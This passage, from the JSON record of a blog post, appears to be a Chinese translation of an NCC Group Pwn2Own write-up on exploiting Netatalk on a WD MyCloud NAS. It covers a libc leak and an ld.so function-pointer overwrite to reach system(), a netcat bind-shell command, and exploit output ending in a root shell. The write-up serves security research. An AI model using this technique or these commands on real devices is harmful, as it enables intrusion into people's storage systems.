\u6587\u4ef6\u5728\u5185\u5b58\u4e2d\u6620\u5c04\u4e3a<code>mmap()<\/code><\/li><li>\u8be5<code>memmove()<\/code>\u51fd\u6570\u8986\u76d6<code>ld.so<\/code>&nbsp;<code>.data<\/code>\u90e8\u5206\u4ee5\u7834\u574f<code>rtld_local._dl_rtld_lock_recursive<\/code>\u51fd\u6570\u6307\u9488\u4e0e<code>system()<\/code>\u5730\u5740\u548c<code>rtld_local._dl_load_lock<\/code>\u6570\u636e\u4e0eshell\u547d\u4ee4\u6267\u884c<\/li><li>\u7531\u4e8e<code>memcpy()<\/code>\u5bf9\u672a\u6620\u5c04\u7684\u5806\u6808\u5730\u5740\u7684\u65e0\u6548\u8bbf\u95ee\uff0c\u51fd\u6570\u5d29\u6e83<\/li><li>\u5728 Netatalk \u4e2d\u6ce8\u518c\u7684\u5f02\u5e38\u5904\u7406\u7a0b\u5e8f\u8c03\u7528<code>dl_open()<\/code>\u5b83\u4f7f\u5176\u8c03\u7528<code>system()<\/code>\u6211\u4eec\u7684\u4efb\u610f shell \u547d\u4ee4<\/li><\/ul>\n\n\n\n<p>\u6211\u4eec\u9009\u62e9\u521d\u6b65\u5220\u9664<code>netcat<\/code>\u4f7f\u7528 SMB \u9759\u6001\u7f16\u8bd1\u7684\u6587\u4ef6\uff0c\u5e76\u4ece\u4ee5\u4e0b\u8def\u5f84\u6267\u884c\u5b83\uff1a<code>\/mnt\/HD\/HD_a2\/Public\/tools\/netcat -nvlp 9999 -e \/bin\/sh<\/code>.<\/p>\n\n\n\n<p>\u4e0b\u9762\u662f\u5b9e\u9645\u7684\u6f0f\u6d1e\u5229\u7528\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># .\/mooncake.py -i 192.168.1.3\n(12:26:23) &#91;*] Triggering leak...\n(12:26:27) &#91;*] Connected to AFP server\n(12:26:27) &#91;*] Leaked libc return address: 0x7f45e23f809b\n(12:26:27) &#91;*] libc base: 0x7f45e23d4000\n(12:26:27) &#91;*] Triggering system() call...\n(12:26:27) &#91;*] Using system address: 0x7f45e24189c0\n(12:26:27) &#91;*] Connected to AFP server\n(12:26:29) &#91;*] Connection timeout detected :)\n(12:26:30) &#91;*] Spawning a shell. Type any command.\nuname -a\nLinux MyCloudPR4100 4.14.22 #1 SMP Mon Dec 21 02:16:13 UTC 2020 Build-32 x86_64 GNU\/Linux\nid\nuid=0(root) gid=0(root) euid=501(nobody) egid=1000(share) groups=1000(share)\npwd\n\/mnt\/HD\/HD_a2\/Public\/edg<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Pwn2Own \u5907\u6ce8<\/h3>\n\n\n\n<p>\u5728\u6bd4\u8d5b\u4e2d\u4f7f\u7528\u6f0f\u6d1e\u5229\u7528\u65f6\uff0c\u6f0f\u6d1e\u5229\u7528\u5728\u6cc4\u6f0f\u9636\u6bb5\u7684\u7b2c\u4e00\u6b21\u5c1d\u8bd5\u5931\u8d25\u3002\u6211\u4eec\u731c\u6d4b\uff0c\u4e0e\u6211\u4eec\u7684\u6d4b\u8bd5\u73af\u5883\u76f8\u6bd4\uff0c\u8fd9\u53ef\u80fd\u662f\u73af\u5883\u7684\u65f6\u95f4\u95ee\u9898\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u4fee\u6539\u4e86\u4ee3\u7801\uff0c\u5728\u6cc4\u6f0f\u4e4b\u524d\u5f15\u5165\u4e86\u4e00\u4e2a\u201csleep()\u201d\uff0c\u4ee5\u786e\u4fdd samba \u5c06\u8fd4\u56de\u7531\u6613\u53d7\u653b\u51fb\u7684 AFP \u4ee3\u7801\u4fee\u6539\u7684\u6570\u636e\u3002\u6211\u4eec\u7684\u7b2c\u4e8c\u6b21\u5c1d\u8bd5\u4f7f\u6cc4\u6f0f\u5de5\u4f5c\u6b63\u5e38\uff0c\u4f46\u5728\u5c1d\u8bd5\u901a\u8fc7 telnet \u8fde\u63a5\u65f6\u5931\u8d25\uff0c\u56e0\u6b64\u6211\u4eec\u5728\u901a\u8fc7 telnet \u8fde\u63a5\u4e4b\u524d\u6dfb\u52a0\u4e86\u53e6\u4e00\u4e2a\u201csleep()\u201d\u4ee5\u786e\u4fdd\u201csystem()\u201d\u547d\u4ee4\u6b63\u786e\u6267\u884c\u3002\u5e78\u8fd0\u7684\u662f\uff0c\u8fd9\u594f\u6548\u4e86\uff0c\u8fd9\u8868\u660e\u4ec5\u4ec5\u589e\u52a0\u66f4\u591a\u7684\u7761\u7720\u5c31\u8db3\u4ee5\u4fee\u590d\u4e0d\u53ef\u9760\u7684\u6f0f\u6d1e\uff0c\u6211\u4eec\u5728\u7b2c\u4e09\u6b21\u4e5f\u662f\u6700\u540e\u4e00\u6b21\u5c1d\u8bd5\u4e2d\u53d6\u5f97\u4e86\u6210\u529f?<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u539f\u6587\u94fe\u63a5\uff1ahttps:\/\/research.nccgroup.com\/2022\/03\/24\/remote-co [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[43,17],"tags":[],"class_list":["post-30","post","type-post","status-publish","format-standard","hentry","category-infoarticle","category-infonews"],"views":4406,"jetpack_sharing_enabled":true,"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/30","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=30"}],"version-history":[{"count":1,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/30\/revisions"}],"predecessor-version":[{"id":31,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/30\/revisions\/31"}],"wp:attachment":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=30"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=30"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=30"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}